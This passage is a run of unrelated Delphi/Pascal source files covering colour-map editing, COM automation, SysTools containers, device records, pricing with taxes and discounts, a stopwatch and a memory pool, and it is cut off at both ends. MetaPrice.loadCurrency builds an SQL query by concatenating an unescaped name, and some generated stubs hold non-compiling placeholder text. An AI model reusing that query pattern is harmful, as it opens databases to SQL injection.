TColorMapItemsForm.UseBkCBClick(Sender : TObject); var T : TColorEntry; begin if MapSel = -1 then exit; BkColor.Enabled := UseBkCB.Checked; T := Map[MapSel]; T.UseBK := BkColor.Enabled; Map[MapSel] := T; end; procedure TColorMapItemsForm.DelGroupBtnClick(Sender : TObject); var S : string; i : integer; begin if GroupLB.ItemIndex = -1 then exit; s := GroupLB.Items[GroupLB.ItemIndex]; GroupLB.Items.Delete(GroupLB.ItemIndex); i := 0; while i < Map.Count do if Map[i].Group = S then Map.DeleteItem(i) else inc(i); RefreshEntriesList; end; procedure TColorMapItemsForm.AddBtnClick(Sender : TObject); var T : TColorEntry; S, S1 : string; i : integer; b : boolean; begin if GroupLB.ItemIndex = -1 then exit; T.Group := GroupLB.Items[GroupLB.ItemIndex]; S := InputBox('New colors entry', 'Enter the entry name:', ''); if S = '' then exit; S1 := UpperCase(S); b := false; for i := 0 to EntryLB.Items.Count - 1 do begin if S1 = UpperCase(EntryLB.Items[i]) then begin b := true; break; end; end; if b then begin MessageBox(0, 'Entry already exists', '', 0); exit; end; T.Name := S; T.UseFg := true; T.UseBk := true; T.FgColor := clNone; T.BkColor := clNone; i := Map.AddItem(T); EntryLB.ItemIndex := EntryLB.Items.AddObject(T.Name, TObject(Map[i].ID)); EntryLbClick(Self); end; procedure TColorMapItemsForm.DelBtnClick(Sender : TObject); begin Map.DeleteItem(MapSel); EntryLB.Items.Delete(EntSel); end; procedure TColorMapItemsForm.EntryLBClick(Sender : TObject); var E : TColorEntry; begin EntSel := EntryLB.ItemIndex; if EntryLB.ItemIndex = -1 then begin MapSel := -1; FgColor.Enabled := false; BkColor.Enabled := false; UseFgCb.Enabled := false; UseBkCb.Enabled := false; DelBtn.Enabled := false; UseFgCb.Checked := false; UseBkCb.Checked := false; IDLbl.Caption := ''; end else begin MapSel := Map.EntryByID(integer(EntryLb.Items.Objects[EntryLB.ItemIndex])); E := Map.Items[MapSel]; DelBtn.Enabled := true; UseFgCb.Enabled := not RunTime; UseBkCb.Enabled := not RunTime; UseFgCb.Checked := E.UseFg; if E.UseFg then FgColor.SelectedColor := E.FgColor; UseBkCb.Checked := E.UseBk; if E.UseBk then BkColor.SelectedColor := E.BkColor; IDLbl.Caption := IntToStr(E.ID); end; end; procedure TColorMapItemsForm.FgColorChange(Sender : TObject); var T : TColorEntry; begin T := Map[MapSel]; T.FgColor := FgColor.SelectedColor; Map[MapSel] := T; end; procedure TColorMapItemsForm.BkColorChange(Sender : TObject); var T : TColorEntry; begin T := Map[MapSel]; T.BkColor := BkColor.SelectedColor; Map[MapSel] := T; end; end.
unit UApplication_impl; interface uses ComObj, ActiveX, ActiveXStarterKit_TLB, StdVcl; type TApplication_ = class(TAutoObject, IApplication) protected { Protected-Deklarationen } function Get_Version: WideString; safecall; procedure SendTextMessage(const text: WideString); safecall; function MethodeDieExceptionVerursacht: WideString; safecall; function Get_Caption: WideString; safecall; procedure Set_Caption(const Value: WideString); safecall; end; implementation uses ComServ, MainForm; {************************************************************************** * NAME: ErrorNumberToHResult * DESC: see also Function "MakeResult" in Unit "ActiveX" *************************************************************************} function ErrorNumberToHResult(ErrorNumber : integer) : HResult; const SEVERITY_ERROR = 1; FACILITY_ITF = 4; begin Result := (SEVERITY_ERROR shl 31) or (FACILITY_ITF shl 16) or word (ErrorNumber); end; function TApplication_.Get_Version: WideString; begin Result := '1.0 beta'; end; procedure TApplication_.SendTextMessage(const text: WideString); begin // Meldung an Hauptformular Form1.ZeigeMeldung(text); end; function TApplication_.MethodeDieExceptionVerursacht: WideString; begin Result := 'dieser String kommt nie zurück'; // mit Absicht eine Exception erzeugen, // die dann der Aufrufer bekommt raise EOleSysError.Create('IApplication.GetPath: Invalid Argument', ErrorNumberToHResult(150), 0); end; function TApplication_.Get_Caption: WideString; begin Result := Form1.Caption; end; procedure TApplication_.Set_Caption(const Value: WideString); begin Form1.Caption := Value; end; initialization TAutoObjectFactory.Create(ComServer, TApplication_, Class_Application_, ciMultiInstance, tmApartment); end.
// Upgraded to Delphi 2009: Sebastian Zierer (* ***** BEGIN LICENSE BLOCK ***** * Version: MPL 1.1 * * The contents of this file are subject to the Mozilla Public License Version * 1.1 (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * http://www.mozilla.org/MPL/ * * Software distributed under the License is distributed on an "AS IS" basis, * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License * for the specific language governing rights and limitations under the * License. * * The Original Code is TurboPower SysTools * * The Initial Developer of the Original Code is * TurboPower Software * * Portions created by the Initial Developer are Copyright (C) 1996-2002 * the Initial Developer. All Rights Reserved. * * Contributor(s): * * ***** END LICENSE BLOCK ***** *) {*********************************************************} {* SysTools: StNVDict.pas 4.04 *} {*********************************************************} {* SysTools: non visual component for TStDictionary *} {*********************************************************} {$I StDefine.inc} unit StNVDict; interface uses Windows, Classes, StBase, StDict, StNVCont; type TStNVDictionary = class(TStNVContainerBase) {.Z+} protected {private} {property variables} FContainer : TStDictionary; {instance of the container} FHashSize : Integer; {property methods} function GetHashSize : Integer; function GetOnEqual : TStStringCompareEvent; procedure SetHashSize(Value : Integer); procedure SetOnEqual(Value : TStStringCompareEvent); protected function GetOnDisposeData : TStDisposeDataEvent; override; function GetOnLoadData : TStLoadDataEvent; override; function GetOnStoreData : TStStoreDataEvent; override; procedure SetOnDisposeData(Value : TStDisposeDataEvent); override; procedure SetOnLoadData(Value : TStLoadDataEvent); override; procedure SetOnStoreData(Value : TStStoreDataEvent); override; public constructor Create(AOwner : TComponent); override; destructor Destroy; override; {.Z-} property Container : TStDictionary read FContainer; published property HashSize : Integer read GetHashSize write SetHashSize default 509; property OnEqual : TStStringCompareEvent read GetOnEqual write SetOnEqual; property OnDisposeData; property OnLoadData; property OnStoreData; end; implementation {*** TStNVDictionary ***} constructor TStNVDictionary.Create(AOwner : TComponent); begin inherited Create(AOwner); {defaults} FHashSize := 509; if Classes.GetClass(TStDictionary.ClassName) = nil then RegisterClass(TStDictionary); if Classes.GetClass(TStDictNode.ClassName) = nil then RegisterClass(TStDictNode); FContainer := TStDictionary.Create(FHashSize); end; destructor TStNVDictionary.Destroy; begin FContainer.Free; FContainer := nil; inherited Destroy; end; function TStNVDictionary.GetHashSize : Integer; begin Result := FContainer.HashSize; end; function TStNVDictionary.GetOnDisposeData : TStDisposeDataEvent; begin Result := FContainer.OnDisposeData; end; function TStNVDictionary.GetOnEqual : TStStringCompareEvent; begin Result := FContainer.OnEqual; end; function TStNVDictionary.GetOnLoadData : TStLoadDataEvent; begin Result := FContainer.OnLoadData; end; function TStNVDictionary.GetOnStoreData : TStStoreDataEvent; begin Result := FContainer.OnStoreData; end; procedure TStNVDictionary.SetHashSize(Value : Integer); begin FContainer.HashSize := Value; end; procedure TStNVDictionary.SetOnDisposeData(Value : TStDisposeDataEvent); begin FContainer.OnDisposeData := Value; end; procedure TStNVDictionary.SetOnEqual(Value : TStStringCompareEvent); begin FContainer.OnEqual := Value; end; procedure TStNVDictionary.SetOnLoadData(Value : TStLoadDataEvent); begin FContainer.OnLoadData := Value; end; procedure TStNVDictionary.SetOnStoreData(Value : TStStoreDataEvent); begin FContainer.OnStoreData := Value; end; end.
unit PI.Types; interface type TAPIKeyMRU = TArray<string>; TDeviceInfo = record ChannelId: string; DeviceID: string; Token: string; OS: string; LastSeen: TDateTime; function Equals(const ADeviceInfo: TDeviceInfo): Boolean; end; TDeviceInfos = TArray<TDeviceInfo>; TDeviceInfosHelper = record helper for TDeviceInfos public function Add(const ADeviceInfo: TDeviceInfo): Boolean; function Count: Integer; procedure Delete(const AIndex: Integer); function Expire(const ASeconds: Integer): Boolean; function IndexOf(const ADeviceID: string): Integer; end; TDeviceBroadcastEvent = procedure(Sender: TObject; const DeviceInfo: TDeviceInfo) of object; implementation uses // RTL System.SysUtils, System.DateUtils; { TDeviceInfo } function TDeviceInfo.Equals(const ADeviceInfo: TDeviceInfo): Boolean; begin Result := DeviceID.Equals(ADeviceInfo.DeviceID) and Token.Equals(ADeviceInfo.Token) and OS.Equals(ADeviceInfo.OS); end; { TDeviceInfosHelper } function TDeviceInfosHelper.Add(const ADeviceInfo: TDeviceInfo): Boolean; var LIndex: Integer; begin Result := True; LIndex := IndexOf(ADeviceInfo.DeviceID); if LIndex = -1 then begin SetLength(Self, Count + 1); LIndex := Count - 1; Self[LIndex] := ADeviceInfo; end else if not Self[LIndex].Equals(ADeviceInfo) then Self[LIndex] := ADeviceInfo else Result := False; if LIndex > -1 then Self[LIndex].LastSeen := Now; end; function TDeviceInfosHelper.Count: Integer; begin Result := Length(Self); end; procedure TDeviceInfosHelper.Delete(const AIndex: Integer); begin if (AIndex >= 0) and (AIndex < Count) then System.Delete(Self, AIndex, 1); end; function TDeviceInfosHelper.Expire(const ASeconds: Integer): Boolean; var I: Integer; begin Result := False; for I := Count - 1 downto 0 do begin if SecondsBetween(Now, Self[I].LastSeen) >= ASeconds then begin Delete(I); Result := True; end; end; end; function TDeviceInfosHelper.IndexOf(const ADeviceID: string): Integer; var I: Integer; begin for I := 0 to Count - 1 do begin if Self[I].DeviceID.Equals(ADeviceID) then Exit(I); end; Result := -1; end; end.
{$I ok_sklad.inc} unit MetaPrice; interface uses MetaClass, MetaDiscount, MetaTax, XMLDoc, XMLIntf, Classes; type // !!! Some of this should go to the TMetaCurrency somehow TMetaPrice = class(TMetaClass) private FCalculateValue: Boolean; // enable .Value prop calculation form BasePrice and taxes/discount. if disabled(default now) then .Value=.BasePrice protected FTypeID: Integer; FBasePrice: Extended; FRate: Extended; FCurrencyID, FBaseCurrencyID: Integer; FCurrencyName: String; FDiscounts: TMetaDiscountList; FTaxes: TMetaTaxList; function LoadXMLNode(var topNode, Node: IXMLNode; paramIndex: Integer = -1): Boolean; function getValue: Extended; function getDiscounts: TMetaDiscountList; function getTaxes: TMetaTaxList; function getHasDiscounts: Boolean; function getHasTaxes: Boolean; procedure setBasePrice(const AVAlue: Extended); procedure setCalculateValue(const Value: Boolean); procedure setCurrencyID(const Value: Integer); procedure setCurrencyName(const Value: String); public constructor Create(const AParent: TMetaClass); overload; // temporary solution for MetaProduct class constructor Create(const AParent: TMetaClass; ATypeID: Integer; AValue, ADiscount: Extended; ACurrencyID: Integer; ACurrencyName: String); overload; destructor Destroy; override; procedure Clear; procedure loadCurrency(const AID: Integer; const AName: String); // loads currency data from DB property BaseCurrencyID: Integer read FBaseCurrencyID write FBaseCurrencyID; property BasePrice: Extended read FBasePrice write setBasePrice; property CurrencyID: Integer read FCurrencyID write setCurrencyID; property CurrencyName: String read FCurrencyName write setCurrencyName; property Discounts: TMetaDiscountList read getDiscounts; property EnableCalculateValue: Boolean read FCalculateValue write setCalculateValue; property hasDiscounts: Boolean read getHasDiscounts; // workaround to not create discounts object just to see there is nothing yet ;) property Rate: Extended read FRate write FRate; property Taxes: TMetaTaxList read getTaxes; property hasTaxes: Boolean read getHasTaxes; // workaround to not create taxes object just to see there is nothing yet ;) property TypeID: Integer read FTypeID write FTypeID; property Value: Extended read getValue; end; //----------------------------------------------------------------------- TMetaPricesList = class(TMetaClassList) public constructor Create(const AParent: TMetaClass); destructor destroy; override; function Add(const Value: TMetaPrice): Integer; // property processing function getItem(const idx: Integer): TMetaPrice; procedure setItem(const idx: Integer; const Value: TMetaPrice); property Items[const idx: Integer]: TMetaPrice read getItem write setItem; default; end; //============================================================================================== //============================================================================================== //============================================================================================== //============================================================================================== implementation uses prFun, SysUtils, udebug; var DEBUG_unit_ID: Integer; Debugging: Boolean; DEBUG_group_ID: String = ''; //============================================================================================== constructor TMetaPricesList.Create(const AParent: TMetaClass); begin inherited; end; //============================================================================================== destructor TMetaPricesList.destroy; begin Clear; inherited; end; //============================================================================================== function TMetaPricesList.Add(const Value: TMetaPrice): Integer; begin Result := FItems.Add(Value); end; //============================================================================================== function TMetaPricesList.getItem(const idx: Integer): TMetaPrice; begin Result := TMetaPrice(FItems[idx]); end; //============================================================================================== procedure TMetaPricesList.setItem(const idx: Integer; const Value: TMetaPrice); begin FItems[idx] := Value; end; //============================================================================================== //============================================================================================== //============================================================================================== procedure TMetaPrice.Clear; begin inherited; FTypeID := -1; FDiscounts := nil; FCurrencyID := -1; FCurrencyName := ''; FBaseCurrencyID := -1; FRate:= 1.0; if FDiscounts <> nil then FDiscounts.Free; if FTaxes <> nil then FTaxes.Free; FDiscounts := nil; FTaxes := nil; FCalculateValue := False; // !!! default end; //============================================================================================== constructor TMetaPrice.Create(const AParent: TMetaClass); begin inherited; FDiscounts := nil; FTaxes := nil; Clear; end; //============================================================================================== // temporary solution for MetaProduct class constructor TMetaPrice.Create(const AParent: TMetaClass; ATypeID: Integer; AValue, ADiscount: Extended; ACurrencyID: Integer; ACurrencyName: String); begin Create(AParent); FTypeID := ATypeID; FBasePrice := AValue; if ADiscount <> 0 then getDiscounts.Add(DiscMethodValue, ADiscount); FCurrencyID := ACurrencyID; FCurrencyName := ACurrencyName; end; //============================================================================================== destructor TMetaPrice.Destroy; begin if FDiscounts <> nil then FDiscounts.Free; if FTaxes <> nil then FTaxes.Free; end; //============================================================================================== function TMetaPrice.getDiscounts: TMetaDiscountList; begin if FDiscounts = nil then begin FDiscounts := TMetaDiscountList.Create(Self); isModified := True; end; Result := FDiscounts; end; //============================================================================================== function TMetaPrice.getTaxes: TMetaTaxList; begin if FTaxes = nil then begin FTaxes := TMetaTaxList.Create(Self); isModified := True; end; Result := FTaxes; end; //============================================================================================== function TMetaPrice.getHasDiscounts: Boolean; begin Result := (FDiscounts <> nil) and (FDiscounts.Count > 0); end; //============================================================================================== function TMetaPrice.getHasTaxes: Boolean; begin Result := (FTaxes <> nil) and (FTaxes.Count > 0); end; //============================================================================================== procedure TMetaPrice.setBasePrice(const AVAlue: Extended); begin if FBasePrice = AValue then Exit; FBasePrice := AValue; isModified := True; end; //============================================================================================== procedure TMetaPrice.setCurrencyID(const Value: Integer); begin if FCurrencyID = Value then Exit; loadCurrency(Value, ''); isModified := True; end; //============================================================================================== procedure TMetaPrice.setCurrencyName(const Value: String); begin if AnsiLowerCase(FCurrencyName) = AnsiLowerCase(Value) then Exit; loadCurrency(-1, Value); isModified := True; end; //============================================================================================== procedure TMetaPrice.loadCurrency(const AID: Integer; const AName: String); begin //todo: !!!! these just a stub for now!!!! should load rate from db if (AID > 0) and (AName <> '') then begin // quick way to set up all at once ;) FCurrencyID := AID; FCurrencyName := AName; isModified := True; Exit; end; with newDataSet do try try FCurrencyID := -1; FCurrencyName := 'no such currency'; if AID = -1 then begin ProviderName := 'pSQL'; FetchMacros; Macros.ParamByName('sql').asString := 'select currid from currency where shortname=''' + AName + ''''; Open; if not isEmpty then begin FCurrencyID := Fields[0].asInteger; FCurrencyName := AName; end; Close; end else begin ProviderName := 'pCurrency_Get'; FetchParams; Params.ParamByName('currid').asInteger := AID; Open; if not isEmpty then begin FCurrencyID := AID; FCurrencyName := FieldByName('shortname').asString; end; Close; end; except; end; finally Free; end; FRate := 0.0; isModified := True; end; //============================================================================================== procedure TMetaPrice.setCalculateValue(const Value: Boolean); begin FCalculateValue := Value; end; //============================================================================================== function TMetaPrice.getValue: Extended; var v: Extended; i: Integer; begin if not FCalculateValue then begin Result := BasePrice; Exit; end; v := FBasePrice; if FTaxes <> nil then for i := 0 to FTaxes.Count - 1 do begin case FTaxes[i].Method of TaxMethodPercent: v := v + (v / 100.0 * FTaxes[i].Value); TaxMethodValue: v := v + FTaxes[i].Value; end; end; if FDiscounts <> nil then for i := 0 to FDiscounts.Count - 1 do begin case FDiscounts[i].Method of DiscMethodPercent: v := v - (v / 100.0 * FDiscounts[i].Value); DiscMethodValue: v := v - FDiscounts[i].Value; end; end; Result := v; end; //============================================================================================== function TMetaPrice.LoadXMLNode(var topNode, Node: IXMLNode; paramIndex: Integer = -1): Boolean; var name, data: String; {$IFDEF UDEBUG}_udebug: Tdebug;{$ENDIF} begin {$IFDEF UDEBUG}if Debugging then _udebug := Tdebug.Create(debugLevelHigh, DEBUG_unit_ID, 'TMetaPrice.loadXMLNode') else _udebug := nil;{$ENDIF} Result := True; Ferror := 0; try // finally name := AnsiLowerCase(Node.NodeName); data := trim(Node.Text); try if name = 'typeid' then begin FTypeID := strToInt(data); Exit; end else if name = 'baseprice' then begin FBasePrice := strToFloat(data); Exit; end else if (name = 'rate') or (name = 'exchangerate') then begin FRate := strToFloat(data); Exit; end else if name = 'currencyid' then begin FCurrencyID := strToInt(data); Exit; end else if name = 'basecurrencyid' then begin FBaseCurrencyID := strToInt(data); Exit; end else if (name = 'currencyname') then begin FCurrencyName := data; Exit; end else if (name = 'taxes') then begin Result := Taxes.loadXML(node); Exit; end else if (name = 'discounts') then begin Result := Discounts.loadXML(node); Exit; end; except Ferror := ap_err_XML_badData; Exit; end; Result := loadXMLNode(topNode, Node); // maybe some base-class stuff finally {$IFDEF UDEBUG}if _udebug <> nil then _udebug.Destroy;{$ENDIF} end; end; //============================================================================================== initialization {$IFDEF UDEBUG} Debugging := False; DEBUG_unit_ID := debugRegisterUnit('MetaPrice', @Debugging, DEBUG_group_ID); {$ENDIF} //============================================================================================== finalization //{$IFDEF UDEBUG}debugUnregisterUnit(DEBUG_unit_ID);{$ENDIF} end.
{$IfNDef l3FakeImpurity_imp} // Модуль: "w:\common\components\rtl\Garant\L3\l3FakeImpurity.imp.pas" // Стереотип: "Impurity" // Элемент модели: "l3FakeImpurity" MUID: (MSMA75ED92E7AC6) // Имя типа: "_l3FakeImpurity_" {$Define l3FakeImpurity_imp} _l3FakeImpurity_ = class(_l3FakeImpurity_Parent_) private f_Prop: Integer; protected procedure pm_SetProp(aValue: Integer); virtual; function pm_GetIndexedProp(anIndex: Integer): TObject; virtual; procedure pm_SetIndexedProp(anIndex: Integer; aValue: TObject); virtual; function pm_GetPropWithStored: AnsiString; virtual; procedure pm_SetPropWithStored(const aValue: AnsiString); virtual; function PropWithStoredStored: Boolean; {* Функция определяющая, что свойство PropWithStored сохраняется } public function MixInAbstractMethod: AnsiString; virtual; abstract; public property Prop: Integer read f_Prop write pm_SetProp default 0; property IndexedProp[anIndex: Integer]: TObject read pm_GetIndexedProp write pm_SetIndexedProp; property PropWithStored: AnsiString read pm_GetPropWithStored write pm_SetPropWithStored stored PropWithStoredStored; end;//_l3FakeImpurity_ {$Else l3FakeImpurity_imp} {$IfNDef l3FakeImpurity_imp_impl} {$Define l3FakeImpurity_imp_impl} procedure _l3FakeImpurity_.pm_SetProp(aValue: Integer); //#UC START# *MSMF6124F0CF051_MSMA75ED92E7AC6set_var* //#UC END# *MSMF6124F0CF051_MSMA75ED92E7AC6set_var* begin //#UC START# *MSMF6124F0CF051_MSMA75ED92E7AC6set_impl* !!! Needs to be implemented !!! //#UC END# *MSMF6124F0CF051_MSMA75ED92E7AC6set_impl* end;//_l3FakeImpurity_.pm_SetProp function _l3FakeImpurity_.pm_GetIndexedProp(anIndex: Integer): TObject; //#UC START# *MSM3C90672D7081_MSMA75ED92E7AC6get_var* //#UC END# *MSM3C90672D7081_MSMA75ED92E7AC6get_var* begin //#UC START# *MSM3C90672D7081_MSMA75ED92E7AC6get_impl* !!! Needs to be implemented !!! //#UC END# *MSM3C90672D7081_MSMA75ED92E7AC6get_impl* end;//_l3FakeImpurity_.pm_GetIndexedProp procedure _l3FakeImpurity_.pm_SetIndexedProp(anIndex: Integer; aValue: TObject); //#UC START# *MSM3C90672D7081_MSMA75ED92E7AC6set_var* //#UC END# *MSM3C90672D7081_MSMA75ED92E7AC6set_var* begin //#UC START# *MSM3C90672D7081_MSMA75ED92E7AC6set_impl* !!! Needs to be implemented !!! //#UC END# *MSM3C90672D7081_MSMA75ED92E7AC6set_impl* end;//_l3FakeImpurity_.pm_SetIndexedProp function _l3FakeImpurity_.pm_GetPropWithStored: AnsiString; //#UC START# *MSMBF1358461D90_MSMA75ED92E7AC6get_var* //#UC END# *MSMBF1358461D90_MSMA75ED92E7AC6get_var* begin //#UC START# *MSMBF1358461D90_MSMA75ED92E7AC6get_impl* !!! Needs to be implemented !!! //#UC END# *MSMBF1358461D90_MSMA75ED92E7AC6get_impl* end;//_l3FakeImpurity_.pm_GetPropWithStored procedure _l3FakeImpurity_.pm_SetPropWithStored(const aValue: AnsiString); //#UC START# *MSMBF1358461D90_MSMA75ED92E7AC6set_var* //#UC END# *MSMBF1358461D90_MSMA75ED92E7AC6set_var* begin //#UC START# *MSMBF1358461D90_MSMA75ED92E7AC6set_impl* !!! Needs to be implemented !!! //#UC END# *MSMBF1358461D90_MSMA75ED92E7AC6set_impl* end;//_l3FakeImpurity_.pm_SetPropWithStored function _l3FakeImpurity_.PropWithStoredStored: Boolean; {* Функция определяющая, что свойство PropWithStored сохраняется } //#UC START# *MSMBF1358461D90Stored_MSMA75ED92E7AC6_var* //#UC END# *MSMBF1358461D90Stored_MSMA75ED92E7AC6_var* begin //#UC START# *MSMBF1358461D90Stored_MSMA75ED92E7AC6_impl* !!! Needs to be implemented !!! //#UC END# *MSMBF1358461D90Stored_MSMA75ED92E7AC6_impl* end;//_l3FakeImpurity_.PropWithStoredStored {$EndIf l3FakeImpurity_imp_impl} {$EndIf l3FakeImpurity_imp}
unit UStopWatch; interface type IStopWatch = interface ['{ACEC2B05-9F77-4F60-A592-F3F51AD05F06}'] procedure Start; procedure Stop; procedure Reset; procedure ReStart; function GetRunning: Boolean; procedure SetRunning(const Value: Boolean); function MilliSeconds: double; function Seconds: double; property Running: Boolean read GetRunning write SetRunning; end; function CreateStopWatch(const AutoStart: Boolean = False): IStopWatch; type ITimestamps = interface ['{B3FE48CC-DA94-4C9E-BF0B-F5BFCAE0B557}'] procedure Start; procedure Clear; procedure AddTimestamp(const AMsg: string); function GetCount: Integer; function GetTimestamp(Index: Integer): Single; function GetTimestampMessage(Index: Integer): string; function GetTimestampMessages: string; property Count: Integer read GetCount; property Timestamp[Index: Integer]: Single read GetTimestamp; property TimestampMessage[Index: Integer]: string read GetTimestampMessage; property TimestampMessages: string read GetTimestampMessages; end; function CreateTimestamps: ITimestamps; implementation uses Windows, Classes, SysUtils, Dialogs, Forms; var g_QpcFreq: TLargeInteger = 0; type TStopWatchQPC = class(TInterfacedObject, IStopWatch) FStart: TLargeInteger; FMilliSeconds: Double; FRunning: Boolean; private function CalcMilliSeconds: Double; function GetRunning: Boolean; procedure SetRunning(const Value: Boolean); public constructor Create; procedure Start; procedure Stop; procedure Reset; procedure ReStart; function MilliSeconds: double; function Seconds: double; end; function CreateStopWatch(const AutoStart: Boolean): IStopWatch; begin Result := TStopWatchQPC.Create as IStopWatch; if AutoStart then begin Result.Start; end; end; { TStopWatchQPC } constructor TStopWatchQPC.Create; begin inherited; Reset; end; function TStopWatchQPC.CalcMilliSeconds: Double; var qpc: TLargeInteger; begin QueryPerformanceCounter(qpc); Result := ((qpc-FStart) * 1000.0) / g_QpcFreq; end; function TStopWatchQPC.MilliSeconds: double; begin Result := FMilliSeconds; if FRunning then begin Result := Result + CalcMilliSeconds; end; end; function TStopWatchQPC.Seconds: double; begin Result := MilliSeconds / 1000.0; end; procedure TStopWatchQPC.Start; begin FRunning := True; QueryPerformanceCounter(FStart); end; procedure TStopWatchQPC.Stop; begin if FRunning then begin FMilliSeconds := FMilliSeconds + CalcMilliSeconds; FRunning := False; end; end; function TStopWatchQPC.GetRunning: Boolean; begin Result := FRunning; end; procedure TStopWatchQPC.SetRunning(const Value: Boolean); begin if Value <> FRunning then begin if Value then Start else Stop; end; end; procedure TStopWatchQPC.Reset; begin FRunning := False; FStart := High(TLargeInteger); FMilliSeconds := 0.0; end; procedure TStopWatchQPC.ReStart; begin Reset; Start; end; type TTimestamps = class(TInterfacedObject, ITimestamps) FTimestampList: TStringList; FQpcFreq, FQpcStart: Int64; public constructor Create; destructor Destroy; override; protected function CalcTimestamp: Single; public procedure Start; procedure Clear; procedure AddTimestamp(const AMsg: string); function GetCount: Integer; function GetTimestamp(Index: Integer): Single; function GetTimestampMessage(Index: Integer): string; function GetTimestampMessages: string; end; { TTimestamps } procedure TTimestamps.AddTimestamp(const AMsg: string); begin FTimestampList.AddObject(AMsg,TObject(CalcTimestamp)); end; function TTimestamps.CalcTimestamp: Single; var t: Int64; begin QueryPerformanceCounter(t); Result := ((t-FQpcStart) * 1000.0) / FQpcFreq; end; procedure TTimestamps.Clear; begin FTimestampList.Clear; FQpcFreq := 0; FQpcStart := 0; end; constructor TTimestamps.Create; begin inherited; FTimestampList := TStringList.Create; end; destructor TTimestamps.Destroy; begin FTimestampList.Free; inherited; end; function TTimestamps.GetCount: Integer; begin Result := FTimestampList.Count; end; function TTimestamps.GetTimestamp(Index: Integer): Single; begin Result := Single(FTimestampList.Objects[Index]); end; function TTimestamps.GetTimestampMessage(Index: Integer): string; begin Result := FTimestampList[Index]; end; function TTimestamps.GetTimestampMessages: string; var i: Integer; t,t_last: Double; begin Result := ''; if GetCount > 0 then begin Result := ' # total last msg' + #13#10 + '----------------------------------------------------------------'; end; for i := 0 to GetCount-1 do begin t := GetTimeStamp(i); if i > 0 then t_last := t - GetTimeStamp(i-1) else t_last := 0; Result := Result + #13#10 + Format('[%3d] [%8.2f] [%8.2f] %s',[i,t,t_last,GetTimestampMessage(i)]); end; end; procedure TTimestamps.Start; begin Clear; if QueryPerformanceFrequency(FQpcFreq) = False then raise Exception.Create('TTimestamps: QueryPerformanceFrequency failed!!!'); QueryPerformanceCounter(FQpcStart); end; function CreateTimestamps: ITimestamps; begin Result := TTimestamps.Create; end; initialization QueryPerformanceFrequency(g_QpcFreq); end.
unit uFuns; interface uses FMX.Forms, System.Classes, System.SysUtils, FMX.Dialogs, uFrmBase, uGlobal; procedure ClosePage(AClassName: string = ''); procedure CreateForm(AOwner: TComponent; AFormName: string; APageIndex: Integer); implementation procedure CloseOtherPages(AClassName: string = ''); var i: Integer; vForm: TForm; begin for I:=0 to Screen.FormCount-1 do begin vForm := TForm(Screen.Forms[I]); if UpperCase(vForm.ClassName) = UpperCase('TMainForm') then Continue; if (AClassName <> '') then begin if not (vForm.ClassNameIs(AClassName)) then Continue; end; vForm.Close; //FreeAndNil(vForm); Break; end; end; procedure ClosePage(AClassName: string = ''); var i: Integer; vForm: TForm; begin if AClassName = '' then begin Exit; end; for I:=0 to Screen.FormCount-1 do begin vForm := TForm(Screen.Forms[I]); if not (vForm.ClassNameIs(AClassName)) then Continue; vForm.Close; //FreeAndNil(vForm); Break; end; end; procedure CreateForm(AOwner: TComponent; AFormName: string; APageIndex: Integer); function GetFormByName(AFormName: string): TFrmBase; var i: Integer; vForm: TForm; begin Result := nil; for I:=0 to Screen.FormCount-1 do begin vForm := TForm(Screen.Forms[I]); if not (Screen.Forms[I].ClassNameIs(AFormName)) then Continue; Result := TFrmBase(Screen.Forms[I]); Break; end; end; type TFormBaseClass = class of TFrmBase; var vForm: TFrmBase; sClassName, s: string; begin vForm := GetFormByName(AFormName); if vForm = nil then begin //创建 s := Copy(Trim(AFormName), 1, 1); if (s <> 'T') and (s <> 't') then sClassName := 'T' + Trim(AFormName) else sClassName := Trim(AFormName); if GetClass(sClassName)<>nil then vForm := TFormBaseClass(FindClass(sClassName)).Create(AOwner); end; if vForm = nil then begin {$IFDEF DEBUG} ShowMessage('没有找到类,可能类名不对'); {$ENDIF} Exit; end; //显示Form try vForm.PageIndex := APageIndex; vForm.ShowModal; finally FreeAndNil(vForm); end; end; end.
unit xpr.mmgr; { Author: Jarl K. Holta License: GNU Lesser GPL (http://www.gnu.org/licenses/lgpl.html) still thinking.. } {$I express.inc} interface uses SysUtils, xpr.express, xpr.dictionary, {$I objects.inc}; const //base array size of a temp storage used when moving objects between generations. DEFAULT_TEMP_SIZE = $1000; //4K POOL_MIN_SIZE = $10000; //65k POOL_MULTIPLIER = 2; type TGCLookup = specialize TDictionary<PtrUInt, Boolean>; PMemoryPool = ^TMemoryPool; TMemoryPool = record Pool: array of TEpObject; PoolPos: Int32; procedure Init; procedure Add(T: TEpObject); inline; procedure Unset(H:UInt32); inline; procedure Reset; inline; function Contains(T: TEpObject): Boolean; inline; end; TGarbageCollector = class Threshold: Array [0..2] of Int32; CountDown: Array [0..2] of Int32; Gen: Array [0..2] of TMemoryPool; Lookup, Marked: TGCLookup; Temp:TObjectArray; TempPos: Int32; constructor Create(); destructor Destroy(); override; function ShouldEnter: Boolean; inline; procedure PrepareCollection(genId:Int8); inline; procedure Mark(genId:Int8; root:TObjectArray; top:Int32); procedure Sweep(genId:Int8); (* alloc and free *) function AllocNone(gcGen:Int8=0): TEpObject; //inline; function AllocBool(constref v:Boolean; gcGen:Int8=0): TEpObject; //inline; function AllocChar(constref v:epChar; gcGen:Int8=0): TEpObject; //inline; function AllocInt(constref v:epInt; gcGen:Int8=0): TEpObject; //inline; function AllocFloat(constref v:Double; gcGen:Int8=0): TEpObject; //inline; function AllocString(constref v:epString; gcGen:Int8=0): TEpObject; //inline; function AllocList(constref v:TObjectArray; gcGen:Int8=0): TEpObject; //inline; function AllocFunc(n:epString; p:Int32; r:TIntRange; gcGen:Int8=0): TEpObject; //inline; procedure Release(var T:TEpObject); //inline; end; implementation uses xpr.utils; procedure TMemoryPool.Init; begin SetLength(Pool, POOL_MIN_SIZE); PoolPos := -1; end; procedure TMemoryPool.Add(T: TEpObject); begin Assert(T <> nil); if PoolPos = High(Pool) then SetLength(Pool, Length(Pool) * POOL_MULTIPLIER); Inc(PoolPos); Pool[PoolPos] := T; T.Handle := PoolPos; end; procedure TMemoryPool.Unset(H:UInt32); begin Pool[H] := Pool[PoolPos]; Pool[H].Handle := H; Dec(PoolPos); end; procedure TMemoryPool.Reset; begin SetLength(Pool, POOL_MIN_SIZE); PoolPos := -1; end; function TMemoryPool.Contains(T: TEpObject): Boolean; begin Result := (T.Handle <= PoolPos) and 